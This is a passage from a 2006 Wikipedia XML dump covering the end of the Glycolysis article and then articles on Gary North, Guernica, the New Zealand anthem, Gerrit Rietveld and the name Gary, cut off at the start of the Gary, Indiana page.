Each molecule of GADP is then oxidized by a molecule of NAD&lt;sup&gt;+&lt;/sup&gt; in the presence of [[Glyceraldehyde 3-phosphate dehydrogenase|GAP]], forming [[1,3-bisphosphoglycerate]]. In the next step, [[Phosphoglycerate kinase|PGK]] generates a molecule of ATP while forming [[3-phosphoglycerate]]. At this step, glycolysis has reached the break-even point: 2 molecules of ATP were consumed, and 2 new molecules have been synthesized. This step, one of the two substrate-level phosphorylation steps, requires ADP; thus, when the cell has plenty of ATP (and little ADP) this reaction does not occur. Because ATP decays relatively quickly when it is not metabolized, this is an important regulatory point in the glycolytic pathway.
[[Phosphoglycerate mutase|PGAM]] then forms [[2-phosphoglycerate]]; [[Enolase|ENO]] then forms [[phosphoenolpyruvate]]; and another substrate-level phosphorylation then forms a molecule of Pyr and a molecule of ATP by means of the enzyme [[Pyruvate kinase|PK]]. This serves as an additional regulatory step.

After the formation of F1,6bP, many of the reactions are energetically unfavorable. The only reactions that are favorable are the 2 substrate-level phosphorylation steps that result in the formation of ATP. These two reactions pull the glycolytic pathway to completion.

==Follow-up==
The ultimate fate of pyruvate and NADH produced in glycolysis depends upon the organism and the conditions, most notably the presence or absence of oxygen and other external electron acceptors.

In [[aerobic organism]]s, pyruvate typically enters the mitochondria where it is fully oxidized to carbon dioxide and water by pyruvate decarboxylase and the set of enzymes of the [[citric acid cycle]] (also known as the TCA or Krebs cycle). The products of pyruvate are sequentially dehydrogenated as they pass through the cycle conserving the hydrogen equivalents via the reduction of NAD&lt;sup&gt;+&lt;sup&gt; to NADH. NADH is ultimately oxidized by an [[electron transport chain]] using oxygen as final electron acceptor to produce a large amount of ATP via the action of the [[ATP synthase]] complex, a process known as [[oxidative phosphorylation]]. A small amount of ATP is also produced by substrate-level phosphorylation during the TCA cycle.

Although human metabolism is primarily aerobic, under hypoxic (or partially anaerobic) conditions, for example in overworked muscles that are starved of oxygen or in infarcted heart muscle cells, pyruvate is converted to the waste product [[lactate]]. This and similar reactions are known as [[fermentation]], and they are a solution to maintaining the metabolic flux through glycolysis in response to an anaerobic or severely hypoxic environment.

Although fermentation does not produce much energy, it is critical for an anaerobic or hypoxic cell, since it regenerates NAD&lt;sup&gt;+&lt;sup&gt; that is required for glycolysis to proceed. This is important for normal cellular function, as glycolysis is the only source of ATP in anaerobic or severely hypoxic conditions.

There are several types of fermentation wherein pyruvate and NADH are anaerobically metabolized to yield any of a variety of products with an organic molecule acting as the final hydrogen acceptor. For example, the [[bacterium|bacteria]] involved in making yogurt simply reduce pyruvate to [[lactic acid]], whereas [[yeast]] produces [[ethanol]] and [[carbon dioxide]]. Anaerobic bacteria are capable of using a wide variety of compounds, other than oxygen, as terminal electron acceptors in respiration: nitrogenous compounds (such as nitrates and nitrites), sulphur compounds (such as sulphates, sulphites, sulphur dioxide, and elemental sulphur), carbon dioxide, iron compounds, manganese compounds, cobalt compounds, and uranium compounds.
==Intermediates for other pathways==
This article concentrates on the [[catabolic]] role of glycolysis with regard to converting potential chemical energy to usable chemical energy during the oxidation of glucose to pyruvate. Many of the metabolites in the glycolytic pathway are also used by [[anabolic]] pathways, and, as a consequence, flux through the pathway is critical also to maintain a supply carbon skeletons for biosynthesis.

From an energy perspective, NADH is either recycled to NAD+ during anaerobic conditions, to maintain the flux through the glycolytic pathway, or used during aerobic conditions to produce more ATP by oxidative phosphorylation. From an anabolic metabolism perspective, the NADH has a role to drive synthetic reactions, doing so by directly or indirectly reducing the pool of NADP+ in the cell to NADPH, which is another important reducing agent for biosynthetic pathways in a cell.

==High aerobic glycolysis==
During anaerobic conditions, glycolysis is the cellular mechanism to obtain [[Adenosine triphosphate|ATP]], by [[fermentation]]. However, in [[mammalian]] cells, glycolysis is coupled with aerobic respiration. In the presence of oxygen, [[mitochondria]] take up [[pyruvate]], the end-product of glycolysis, and further oxidize it into CO&lt;sub&gt;2&lt;/sub&gt; and water. As a result, the flux through the glycolytic pathway is lower during aerobic conditions since the full oxidation of one molecule of pyruvate (equivalent to one-half molecule of glucose) can lead to 18 times more ATP. Malignant rapidly-growing [[tumor]] cells, however, have glycolytic rates that are up to 200 times higher than that of their normal tissues of origin, despite the ample availability of oxygen. A classical explanation holds that the local depletion of oxygen within the tumor is the cause of the high glycolytic rate in tumor cells. Nevertheless, there is also strong experimental evidence that attributes these high aerobic glycolytic rates to
an overexpressed form of mitochondrially-bound [[hexokinase]] {{ref|www.pnas.org.886}} responsible for driving the high glycolytic activity when oxygen is not necessarily depleted. This phenomenon was first described in 1930 by [[Otto Warburg]], and hence it is referred to as the Warburg Effect. This has a current important medical application, as aerobic glycolysis by malignant tumors is utilized clinically to diagnose and monitor treatment responses of [[cancers]] by [[imaging]] uptake of [[Fluorodeoxyglucose|2-&lt;sup&gt;18&lt;/sup&gt;F-2-deoxyglucose]] (a [[radioactive]] modified hexokinase [[substrate]]) with [[positron emission tomography]] (PET) {{ref|www.petscaninfo.com.887}}, {{ref|biogenomica.com.888}}.

==Alternative nomenclature==
Some of the metabolites in glycolysis have alternative names and nomenclature. In part, this is because some of them are common to other pathways, such as the Calvin cycle.

{| class=&quot;wikitable&quot;
!
!colspan=&quot;2&quot;|This article
!colspan=&quot;3&quot;|Alternative names
!colspan=&quot;3&quot;|Alternative nomenclature
|-
|1
|[[glucose]]
|'''Glc'''
|dextrose
|
|
|
|
|
|-
|2
| [[glucose 6-phosphate]]
|'''G6P'''
|
|
|
|
|
|
|-
|3
|[[fructose 6-phosphate]]
|'''F6P'''
|
|
|
|
|
|
|-
|4
| [[fructose 1,6-bisphosphate]]
|'''F1,6BP'''
|fructose 1,6-diphosphate
|
|
|'''FBP'''
|'''FDP'''
|'''F1,6DP'''
|-
|5
|[[dihydroxyacetone phosphate]]
|'''DHAP'''
|
|
|
|
|
|
|-
|6
|[[glyceraldehyde 3-phosphate]]
|'''GADP'''
|3-phosphoglyceraldehyde
|
|'''GAP'''
|'''PGAL'''
|'''G3P'''
|'''GALP'''
|-
|7
| [[1,3-bisphosphoglycerate]]
|'''1,3BPG'''
|glycerate 1,3-bisphosphate
|glycerate 1,3-diphosphate
|1,3-diphosphoglycerate
|'''PGAP'''
|'''BPG'''
|'''DPG'''
|-
|8
|[[3-phosphoglycerate]]
|'''3PG'''
|glycerate 3-phosphate
|
|
|'''PGA'''
|'''GP'''
|
|-
|9
| [[2-phosphoglycerate]]
|'''2PG'''
|glycerate 2-phosphate
|
|
|
|
|
|-
|10
|[[phosphoenolpyruvate]]
|'''PEP'''
|
|
|
|
|
|
|-
|11
| [[pyruvate]]
|'''Pyr'''
|
|
|
|
|
|
|-
|}

==See also==
* [[Gluconeogenesis]]
* [[Citric acid cycle]] (Krebs cycle)
* [[Anaerobic respiration]]
* [[Cellular respiration]]
* [[Anaerobic glycolysis]]

==External links==
* [http://nist.rcsb.org/pdb/molecules/pdb50_1.html The Glycolytic enzymes in Glycolysis: Protein Data Bank]
* [http://www.wdv.com/CellWorld/Biochemistry/Glycolytic Glycolytic cycle with animations]
* [http://www.biochemweb.org/metabolism.shtml Metabolism, Cellular Respiration and Photosynthesis - The Virtual Library of Biochemistry and Cell Biology]
* [http://www2.ufp.pt/~pedros/bq/glycolysis.htm The chemical logic behind glycolysis]

==References==
* Stryer, Lubert (1987). ''Biochemistry''. W.H. Freeman. ISBN 0-7167-1920-7
# {{note|www.pnas.org.886}} {{Web reference | title=High Aerobic Glycolysis of Rat Hepatoma Cells in Culture: Role of Mitochondrial Hexokinase -- Bustamante and Pedersen 74 (9): 3735 -- Proceedings of the National Academy of Sciences | url=http://www.pnas.org/cgi/reprint/74/9/3735 | date=December 5 | year=2005 }}
# {{note|www.petscaninfo.com.887}} {{Web reference | title=PET Scan: PET Scan Info Reveals ... | url=http://www.petscaninfo.com/ | date=December 5 | year=2005 }}
# {{note|biogenomica.com.888}} {{Web reference | title=4320139 549..559 | url=http://biogenomica.com/PDFs/PauwelsPETandHexokinase.pdf | date=December 5 | year=2005 }}

[[Category:Cellular respiration]]
[[Category:Metabolism]]
[[Category:Biochemistry]]

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[[zh:糖酵解]]</text>
    </revision>
  </page>
  <page>
    <title>Gary North (Christian Reconstructionist)</title>
    <id>12645</id>
    <revision>
      <id>41706153</id>
      <timestamp>2006-03-01T04:47:40Z</timestamp>
      <contributor>
        <username>Will Beback</username>
        <id>737021</id>
      </contributor>
      <comment>move elements</comment>
      <text xml:space="preserve">:''This article is about the Christian Reconstructionist. For the journalist and activist, see [[Gary_North_(journalist_and_activist)|Gary B. North]]''
[[image:Gary_north.jpg|frame|right|Gary North]]
'''Gary North''' is a writer and publisher from the [[Christian Reconstructionism|Christian Reconstruction]] movement. (He is the son-in-law of [[R.J. Rushdoony]], one of the movement's founders.) North received a [[PhD]] in [[History]] from the [[University of California]] at [[Riverside,_California|Riverside]] in [[1972]]. He gained some wider notoriety for his inaccurate prediction of [[Y2K]] catastrophe before [[2000]].

Most Christian Reconstructionists hold to a type of [[Postmillennialism]] that holds that [[Jesus]] will return to earth only after Trinitarian [[Christianity]] has become the religion of the majority of the planet, with God's moral law as the civil standard for society. They believe that [[Old Testament]] moral and civil laws, such as those against [[adultery]] and [[sodomy]] and murder, should be presumed binding unless the [[New Testament]] says otherwise; this belief they call [[theonomy]]. Critics argue that what North is describing would be a [[theocracy]], and that North and other Postmillennial proponents of [[Dominion Theology]] have influenced the growth of the [[Dominionism|Dominionist]] tendency among the much larger (and largely [[Premillennialism|Premillennialist]]) [[Christian Right]].

Theologically, Gary North is a [[Calvinism|Calvinist]]. He is President of the [http://www.reformed-theology.org/ice/ Institute for Christian Economics], which now publishes many, but not all, Christian Reconstructionist books online. Christian Reconstructionists are also [[presuppositionalist]]s in their approach to Christian apologetics as taught by the Calvinist philosopher, [[Cornelius Van Til]] and oppose any [[natural law]] theory as a basis for civil law order.

North argues for the abolition of the [[fractional reserve banking system]], and a return to the [[gold standard]].

Gary North once predicted that [[Y2K]] would be a global catastrophe [http://www.wired.com/news/technology/0,1282,33445,00.html]. He later publicly apologised for his mistaken view of Y2K in a January 2000 ICE newsletter. North previously co-authored ''Fighting Chance: Ten Feet to Survival'', a book urging the construction of backyard underground fallout shelters in anticipation of a predicted nuclear war with the Soviet Union.

North has attracted much criticism for his beliefs, not least from [[Dispensationalism|Dispensationalists]] who obviously dispute his [[Millennialism|Millennial]] eschatology. Many [[Calvinism|Calvinists]], especially those who hold to an ''Amillennial'' eschatology (which is most of them), also dispute North's position. His postmillennial views were once the majority position among American Calvinists prior to the 20th century.

Starting in 1967, North became a frequent contributor to the libertarian journal ''The Freeman''. His writings also appear on [[LewRockwell.com]].

North's economic views are mostly [[libertarian]], but also so on some issues and foreign policy issues as he opposes the [[Iraq War]]. He believes that [[Social Security]] and other welfare programs are &quot;theft by majority vote.&quot; In addition, he argued that those concerned with preserving the life of [[Terri Schiavo]] should have offered to pay for her subsistence.

==See also==
* [[Christian Reconstructionism]] 
* [[Dominionism]]
* [[Dominion Theology]]
* [[Christian Right]]
* [[Postmillennialism]]

==External links==
* http://www.garynorth.com/
* http://www.lewrockwell.com/north/north-arch.html
* http://www.freebooks.com/
* [http://www.chalcedon.edu/featured/4-04terrell.php Gary North and Christian Economics]  
* [http://www.nndb.com/people/892/000058718/ Profile]
* [http://people.smu.edu/acambre/garynorth/ Gary North is a Big Fat Idiot], a 1998 commentary on Gary North's apocalyptic Year 2000 views


[[Category:Reformed theologians|North, Gary]]
[[Category:American theologians|North, Gary]]
[[Category:Living people|North, Gary]]</text>
    </revision>
  </page>
  <page>
    <title>Guernica (city)</title>
    <id>12646</id>
    <revision>
      <id>42083720</id>
      <timestamp>2006-03-03T18:43:24Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/216.20.29.45|216.20.29.45]] ([[User talk:216.20.29.45|talk]]) to last version by 24.75.202.210</comment>
      <text xml:space="preserve">: ''This article is about the city in Spain. See [[Bombing of Guernica]] for information about the attack on the city during the Spanish Civil War. See [[Guernica (painting)]] for information about the Pablo Picasso painting which depicts the bombing of Guernica.''

'''Guernica''' (pronounced in {{IPA2|ge&amp;#638;'nika}}) is the [[English language|English]] and [[Spanish language]] name for the [[Spain|Spanish]] [[Basque Country|Basque]] city of ''Gernika''. The city is united in one municipality with neighbouring Luno, and the combined entity is known as '''Guernica and Luno''' (''Gernika-Lumo'' or ''Guernica y Lun&lt;!-- sic --&gt;o'').

It is currently the seat of the Junta (parliament) of the province of [[Vizcaya]], whose executive branch is located in nearby [[Bilbao]]. For centuries prior it had been the meeting place of the [[Fueros|traditional]] Biscayne assembly, which met  under an [[oak]] tree, the [[Gernikako Arbola]], which was a symbol of traditional freedoms of the [[Basque people]]. The trees are always renewed by their descendants. One of the trees that had lived until the 1800s may be seen, petrified, near the assembly house. A tree planted in 1860 to replace it died in [[2004]] and was in turn replaced; the sapling which had been set to become the official Gernikako Arbola is also sick so the tree will not be replaced until the earth around the site has been refreshed. A hermitage was built besides the tree to double as an assembly place, followed by the current house of assembly (Casa de Juntas), built in 1826.

[[Image:GernikakoArbola.jpg|left|200px|thumb|The Gernika oak.]]
The Lords of Biscay, upon receiving their title, would come to Guernica to swear that they would respect the Biscayne freedoms. Later the lordship became attached to the title of [[King of Castile]].

[[Image:GuernicaGernikara.jpg|right|200px|thumb|A tiled wall in Gernika claims ''Guernica Gernikara'', &quot;The Guernica (painting) to Gernika.&quot;]]
Outside the Basque lands the city is best known as the scene of an early instance of [[strategic bombing|aerial bombing]] by the [[Nazi Germany|German]] ''[[Luftwaffe]]'' ([[Condor Legion]]) on [[April 26]], [[1937]], during the [[Spanish Civil War]] (''see [[Bombing of Guernica]]''). The Germans were attacking to support the efforts of [[Francisco Franco]] to overturn the [[Second Spanish Republic|Spanish Republic]]an government. The town was devastated, though the Biscayne assembly and the Gernikako Arbola survived. Pablo Picasso painted his famous &quot;Guernica&quot; painting to commemorate the horrors of the bombing. Because of its symbolic value, the current Autonomy Act of the [[Basque Country (autonomous community)|Basque Country]] was approved in Guernica and every [[Lehendakari]] (Basque President) takes his oath there.

The Guernica estuary or [[Urdaibai]] is a [[Biosphere Reserve]].

It is also home to the [[Gernika Jai Alai]], one of the main courts for the [[jai alai]] sport.

==See also==
*[[Municipal elections in Gernika-Lumo]]

==External links==
{{Wikiquotepar|Bombing of Guernica}}
*[http://www.gernika-lumo.net/in_index.asp Official site] in English, Basque and Spanish
*[http://www.mala.bc.ca/~lanes/english/hemngway/picasso/guernica.htm Image of ''Guernica'']
*[http://www.aestheticrealism.org/GUERNICA_dk.htm Painter and art educator Dorothy Koppelman writes on &quot;Aesthetic Realism and Picasso's Guernica: For Life&quot;]
* [http://www.euskomedia.org/euskomedia/SAunamendi?idi=en&amp;op=7&amp;voz=GERNIKA-LUMO GERNIKA-LUMO in the Bernardo Estornés Lasa - Auñamendi Encyclopedia (Euskomedia Fundazioa)] Information available in [[Spanish language|Spanish]]

[[Category:Bizkaia]]
[[Category:Spanish Civil War]]

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{{Bizkaia}}</text>
    </revision>
  </page>
  <page>
    <title>God Defend New Zealand</title>
    <id>12647</id>
    <revision>
      <id>42096665</id>
      <timestamp>2006-03-03T20:28:20Z</timestamp>
      <contributor>
        <username>Moink</username>
        <id>32750</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/198.176.160.41|198.176.160.41]] ([[User talk:198.176.160.41|talk]]) to last version by Tailpig</comment>
      <text xml:space="preserve">'''&quot;God Defend New Zealand&quot;''' is one of the [[national anthem]]s of [[New Zealand]], together with &quot;[[God Save the Queen]]&quot;. Although they both have equal status, only &quot;God Defend New Zealand&quot; is used, and most New Zealanders would be unaware that the country has two national anthems. The [http://www.cultureandheritage.govt.nz/ New Zealand Ministry for Culture and Heritage] has responsibility for the national anthems.

==History==
The words for &quot;God Defend New Zealand&quot; were written as a [[New Zealand literature|poem]] in the 1870s by [[Thomas Bracken]]. A competition to compose music for the poem was held in 1876, with a prize of ten [[British coin Guinea|guineas]]. The winner of the competition was [[John Joseph Woods]], who composed the melody in a single sitting the evening after finding out about the competition.

The song became increasingly popular during the 19th century and early 20th century, and in 1940 the New Zealand government bought the copyright and made it New Zealand's national hymn in time for that year's centennial celebrations. In 1976 a petition was presented to parliament asking for it to be made the national anthem, and, with the permission of Queen [[Elizabeth II of the United Kingdom|Elizabeth II]], it became the country's second national anthem on [[21 November]] [[1977]].

An alternative official arrangement for massed singing by [[Maxwell Fernie]] was announced by the [[New Zealand Department of Internal Affairs|Minister of Internal Affairs]] on [[1 June]] [[1978]].

While being used as New Zealand's national anthem at the [[British Empire Games]] from [[1950]] onward, it was first used at the Olympic Games in 1972 ([[Munich]]).

==Lyrics==
&quot;God Defend New Zealand&quot; has five verses, each in [[English language|English]] and translated into [[Maori language|M&amp;#257;ori]].
Commonly, only the first verse is sung, in English or in M&amp;#257;ori, followed by the same verse in the other language.
The second and last English verses may also be sung, but the third and fourth are rarely used.

===English lyrics===

God of Nations at Thy feet, &lt;br&gt;
In the bonds of love we meet, &lt;br&gt;
Hear our voices, we entreat, &lt;br&gt;
God defend our free land. &lt;br&gt;
Guard Pacific's triple star, &lt;br&gt;
From the shafts of strife and war, &lt;br&gt;
Make her praises heard afar, &lt;br&gt;
God defend New Zealand.

Men of ev'ry creed and race, &lt;br&gt;
Gather here before Thy face, &lt;br&gt;
Asking Thee to bless this place, &lt;br&gt;
God defend our free land. &lt;br&gt;
From dissension, envy, hate, &lt;br&gt;
And corruption guard our State, &lt;br&gt;
Make our country good and great, &lt;br&gt;
God defend New Zealand.

Peace, not war, shall be our boast, &lt;br&gt;
But, should foes assail our coast, &lt;br&gt;
Make us then a mighty host, &lt;br&gt;
God defend our free land. &lt;br&gt;
Lord of battles, in Thy might, &lt;br&gt;
Put our enemies to flight, &lt;br&gt;
Let our cause be just and right, &lt;br&gt;
God defend New Zealand.

Let our love for Thee increase, &lt;br&gt;
May Thy blessings never cease, &lt;br&gt;
Give us plenty, give us peace, &lt;br&gt;
God defend our free land. &lt;br&gt;
From dishonour and from shame, &lt;br&gt;
Guard our country's spotless name, &lt;br&gt;
Crown her with immortal fame, &lt;br&gt;
God defend New Zealand.

May our mountains ever be &lt;br&gt;
Freedom's ramparts on the sea, &lt;br&gt;
Make us faithful unto thee, &lt;br&gt;
God defend our free land. &lt;br&gt;
Guide her in the nations' van, &lt;br&gt;
Preaching love and truth to man, &lt;br&gt;
Working out Thy Glorious plan, &lt;br&gt;
God defend New Zealand.

Copyright on the English lyrics for &quot;God Defend New Zealand&quot; expired in 1948, 50 years after the death of the author. 

There is some discussion, with no official explanation, of the meaning of &quot;Pacific's triple star&quot;. Unofficial explanations range from New Zealand's three biggest islands ([[North Island|North]], [[South Island|South]], and [[Stewart Island/Rakiura]]), to the three stars on the [[Speight's]] beer logo. A possibility is that Bracken was referring to [[Alpha Centauri]], the brightest triple-star system in the southern constellation of Centaurus, which contains the fourth-brightest star in the sky.

===M&amp;#257;ori lyrics===

E Ihow&amp;#257; Atua,&lt;br&gt;
O ng&amp;#257; iwi m&amp;#257;tou r&amp;#257;&lt;br&gt;
&amp;#256;ta whakarongona;&lt;br&gt;
Me aroha noa&lt;br&gt;
Kia hua ko te pai;&lt;br&gt;
Kia tau t&amp;#333; atawhai;&lt;br&gt;
Manaakitia mai&lt;br&gt;
Aotearoa

&amp;#332;na mano t&amp;#257;ngata&lt;br&gt;
Kiri whero, kiri m&amp;#257;,&lt;br&gt;
Iwi M&amp;#257;ori P&amp;#257;keh&amp;#257;,&lt;br&gt;
R&amp;#363;peke katoa,&lt;br&gt;
Nei ka tono ko ng&amp;#257; h&amp;#275;&lt;br&gt;
M&amp;#257;u e whakaahu k&amp;#275;,&lt;br&gt;
Kia ora m&amp;#257;rire&lt;br&gt;
Aotearoa

T&amp;#333;na mana kia t&amp;#363;!&lt;br&gt;
T&amp;#333;na kaha kia &amp;#363;;&lt;br&gt;
T&amp;#333;na rongo hei pak&amp;#363;&lt;br&gt;
Ki te ao katoa&lt;br&gt;
Aua rawa ng&amp;#257; whawhai&lt;br&gt;
Ng&amp;#257; tut&amp;#363; a tata mai;&lt;br&gt;
Kia tupu nui ai&lt;br&gt;
Aotearoa

Waiho tona takiw&amp;#257;&lt;br&gt;
Ko te ao m&amp;#257;rama;&lt;br&gt;
Kia whiti t&amp;#333;na r&amp;#257;&lt;br&gt;
Tai&amp;#257;whio noa.&lt;br&gt;
Ko te hae me te ngangau&lt;br&gt;
Meinga kia kore kau;&lt;br&gt;
Waiho i te rongo mau&lt;br&gt;
Aotearoa

T&amp;#333;na pai me toit&amp;#363;&lt;br&gt;
Tika rawa, pono p&amp;#363;;&lt;br&gt;
T&amp;#333;na noho, tana t&amp;#363;;&lt;br&gt;
Iwi n&amp;#333; Ihow&amp;#257;.&lt;br&gt;
Kaua m&amp;#333;na whakam&amp;#257;;&lt;br&gt;
Kia hau te ingoa;&lt;br&gt;
Kia t&amp;#363; hei tauira;&lt;br&gt;
Aotearoa

At least two M&amp;#257;ori versions have been produced. The first was by Thomas H. Smith of Auckland, a judge in the Native Land Court, on request of Governor [[George Edward Grey]] in 1878, and the second (above) by former M&amp;#257;ori Language Commissioner, Professor [[Timoti Karetu|Timoti S. Kāretu]], commissioned in 1979. 

This latter translation is under New Zealand Crown copyright until 2079. Copyright information is at [http://www.cultureandheritage.govt.nz/copy-right.html http://www.cultureandheritage.govt.nz/copy-right.html].

==Media==
{{multi-listen start}}
{{multi-listen item|filename=God_Defend_New_Zealand_instrumental.ogg|title=Instrumental|description=Recording by the New Zealand Ministry for Culture and Heritage|format=[[Ogg]]}}
{{multi-listen end}}

==External links==
*[http://www.nationalanthems.info/nz.htm MIDI file and sheet music]
*[http://www.mch.govt.nz/anthem/ Official website for NZ's national anthem]
*[http://www.nz.com/new%2Dzealand/guide%2Dbook/music/ Page about the national anthem] includes a recording by the [[New Zealand Symphony Orchestra]]

[[Category:National anthems]]
[[Category:New Zealand culture]]

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[[fr:God Defend New Zealand]]
[[it:God Defend New Zealand]]
[[hu:Új-zélandi himnusz]]
[[ms:God Defend New Zealand]]
[[nl:God Defend New Zealand]]
[[ja:ニュージーランドの国歌]]
[[nn:God Defend New Zealand]]
[[pt:Hino nacional da Nova Zelândia]]
[[sl:God Defend New Zealand]]
[[sr:Химна Новог Зеланда]]
[[sv:God Defend New Zealand]]
[[zh:天佑新西兰]]</text>
    </revision>
  </page>
  <page>
    <title>Gerrit Rietveld</title>
    <id>12648</id>
    <revision>
      <id>37550130</id>
      <timestamp>2006-01-31T18:50:55Z</timestamp>
      <contributor>
        <username>Solipsist</username>
        <id>49943</id>
      </contributor>
      <minor />
      <comment>rm other commercial link</comment>
      <text xml:space="preserve">[[Image:Rietveld chair 1.JPG|195px|thumb|right|Red and Blue chair]]
[[Image:Rietveldlamp.jpg|195px|thumb|right|Lamp, designed by Rietveld]]
[[Image:Rietveldschroderhuis.jpg|thumb|left|350px|Rietveld-Schröder house]]

'''Gerrit Rietveld'''
([[Utrecht (city)|Utrecht]] [[June 24]] [[1888]] &amp;ndash; Utrecht [[June 26]] [[1964]]), was a [[Netherlands|Dutch]] [[design]]er, [[architect]] and cabinet maker.

In [[1911]], Rietveld started his own furniture factory, while studying architecture. Rietveld designed the [[Red and Blue Chair]] in [[1918]], influenced by the '[[De Stijl]]' movement, of which he became a member in [[1919]], the same year in which he became an architect. In [[1924]] he designed the [[Rietveld Schröder House|Schröder house]] for  [[Truus Schröder-Schräder]], with whom he cooperated. The house is located in Utrecht. The house, while guided by geometric forms, is asymmetrical.

Rietveld broke with the 'De Stijl' movement in [[1928]] and switched to the [[Nieuwe Zakelijkheid]]. The same year he joined the [[Congres Internationaux d'Architecture Moderne]].

He designed the '[[Zig-Zag]]' chair in [[1934]] and started the design of the [[Van Gogh Museum]] in [[Amsterdam]].

&lt;br clear=&quot;all&quot;&gt;

== External links ==
*[http://www.centraalmuseum.nl/rietveld/ Rietveld at the Centraal Museum Utrecht]
*[http://www.roland-collection.com/rolandcollection/section/17/502B.htm Video tour of Schroder House]

{{Commons|Gerrit Rietveld}}

[[Category:1888 births|Rietveld, Gerrit]]
[[Category:1964 deaths|Rietveld, Gerrit]]
[[Category:Dutch architects|Rietveld, Gerrit]]
[[Category:Furniture makers|Rietveld, Gerrit]]
[[Category:Dutch architecture|Rietveld, Gerrit]]
[[Category:De Stijl|Rietveld]]

[[de:Gerrit Rietveld]]
[[es:Gerrit Rietveld]]
[[fy:Gerrit Rietveld]]
[[nl:Gerrit Rietveld]]
[[pl:Gerrit Rietveld]]
[[pt:Gerrit Rietveld]]
[[sv:Gerrit Rietveld]]</text>
    </revision>
  </page>
  <page>
    <title>Gary</title>
    <id>12649</id>
    <revision>
      <id>41890390</id>
      <timestamp>2006-03-02T11:40:49Z</timestamp>
      <contributor>
        <username>Ben W Bell</username>
        <id>73920</id>
      </contributor>
      <comment>/* Fictional Characters */ Remove incorrect data.</comment>
      <text xml:space="preserve">==Place Name==
Several places in the [[United States|United States of America]] are called '''Gary''' (in decreasing population order):
* [[Gary, Indiana]]
* [[Gary, West Virginia]]
* [[Gary, Minnesota]]
* [[Gary, South Dakota]]

There are other similarly-named towns:
* [[Gary City, Texas]]
* [[Garysburg, North Carolina]]
* [[Garyville, Louisiana]]

[[GNIS]] also lists the following tiny (or uninhabited) towns:
* [[Gary, Colorado]]
* [[Gary, Florida]]
* [[Gary, Georgia]]
* [[Gary, Illinois]]
* [[Gary, Maryland]]
* [[Gary, New Mexico]]
* [[Gary, South Carolina]]
* [[Gary, Texas]]
* [[Gary, Virginia]]
* [[Gary Springs, Alabama]]
* [[Garywood, Alabama]]
* [[Gary Estates, Mississippi]]
* [[Gary Corner, New Jersey]]
* [[Gary Creek, South Carolina]]
* [[Garysville, Virginia]]

== Music == 
*[[Gary (band)|Gary]] is also the name of a German band.

==Slang Nickname==
The word '''Gary''' is a local term used by people in the [[Midlands]] of the [[United Kingdom]] to refer to a [[Chav]] or [[Townie]].

==Person Name==
The usage of '''Gary''' as a male [[given name]] in America is interestingly intertwined with the success of the actor [[Gary Cooper]]. According to the [[Social Security Administration]], Gary was relatively rare as a given name in the 1900-1920s period (e.g., in the 1910s it was the 677th most frequent name, given to less than 0.01% of the babies born in that decade). However, when the actor's [[Gary, Indiana]]-born agent Nan Collins told him to change his name (then Frank Cooper) to Gary, this name's popularity soared. In the 1930s, 0.38% of the male babies in America were named Gary, and in the 1950s as many as 1.54% of the male babies were given this name, making it the 12th most popular given name of that decade. The name Gary reached its record popularity (9th place) in 1953, the same year that Gary Cooper received his Best Actor [[Academy Award]] for his leading role in [[High Noon]]. Since then, the popularity of Gary as a given name in America has been on a very slow, but steady decline. In the 1990s, this name is the 170th most popular, given to around 0.1% of newborn males.

The name '''Gary''' can also be a variant of similar names, such as the [[Wales|Welsh]] ''[[Gareth]]'', or [[Garry]].

Articles on some of the people named Gary: (see also [[Special:Allpages/Gary]])
* [[Gary Ablett]]
* [[Gary Barlow]], [[Gary Bartz]], [[Gary Barwin]], [[Gary Bauer]], [[Gary Becker]], [[Gary Bettman]], [[Gary Burghoff]], [[Gary Burton]], [[Gary Busey]]
* [[Gary Carter]], [[Gary Cherone]], [[Gary Cole]], [[Gary Coleman]], [[Gary Condit]], [[Gary Cooper]]
* [[Gary Daniels]], [[Gary Dell'Abate]], [[Gary Doer]], [[Gary Dourdan]]
* [[Gary Filmon]], [[Gary Fisher]], [[Gary L. Francione]], [[Gary Frank]], [[Gary Frank (actor)]]
* [[Gary Gabelich]], [[Gary Gaetti]], [[Gary Gilmore]], [[Gary Glitter]], [[Gary Gordon]], [[Gary Graham]], [[Gary LeRoi Gray]], [[Gary Groth]], [[Gary Gygax]]
* [[Gary Hall Jr.]],[[Gary Hall Sr.]], [[Gary Hamel]], [[Gary Hardgrave]], [[Gary Hart]], [[Gary Helms]], [[Gary Hug]], [[Gary Hume]], [[Gary Humphries]]
* [[Gary Jennings]], [[Gary Johnson]], [[Gary Jules]]
* [[Gary Karr]], [[Gary Kasparov]], [[Gary Kemp]], [[Gary Kildall]], [[Gary Kirsten]], [[Gary Kleck]], [[Gary Klein]], [[Gary Kremen]]
* [[Gary LaFree]], [[Gary Larson]], [[Gary Lineker]], [[Gary Locke]], [[Gary Louris]]
* [[Gary Masyk]], [[Gary Miller]], [[Gary Moore]], [[Gary Morton]], [[Gary Mounfield]]
* [[Gary Nairn]], [[Gary Neville]], [[Gary Nolan]], [[Gary North]], [[Gary Numan]]
* [[Gary Oldman]], [[Gary Owen (footballer)]], [[Gary Owen (snooker)]], [[Gary Owens]]
* [[Gary Payton]], [[Gary Peacock]], [[Gary Pettis]], [[Gary Player]], [[Gary Powers]], [[Gary Price]]
* [[Gary Ridgway]], [[Gary Roberts]], [[Gary Robichaud]]
* [[Gary Shipman]], [[Gary Sick]], [[Gary Sinise]], [[Gary Snyder]], [[Gary Soto]], [[Gary Stewart]], [[Gary Streeter]], [[Gary Sullivan]]
* [[Gary Titley]]
* [[Gary Ward]], [[Gary Wilkinson]]

===Fictional Characters===
* [[Gary the Snail]], SpongeBob's pet snail in ''[[SpongeBob SquarePants]]''
* [[Gary Oak]] from the ''[[Pokémon]]'' series
* [[List_of_Beyblade_Characters#Gary|Gary]] from the ''[[Beyblade]]'' series.

===References===
* [http://www.ssa.gov/OACT/babynames/ Social Security Administration - Popular Baby Names]

{{disambig}}

[[ja:&amp;#12466;&amp;#12452;&amp;#12522;&amp;#12540;]]

[[category:given names]]</text>
    </revision>
  </page>
  <page>
    <title>Gary, Indiana</title>
    <id>12650</id>
    <revision>
      <id>42133433</id>
      <timestamp>2006-03-04T01:12:03Z</timestamp>
      <contributor>
        <username>Dralwik</username>
        <id>98543</id>
      </contributor>
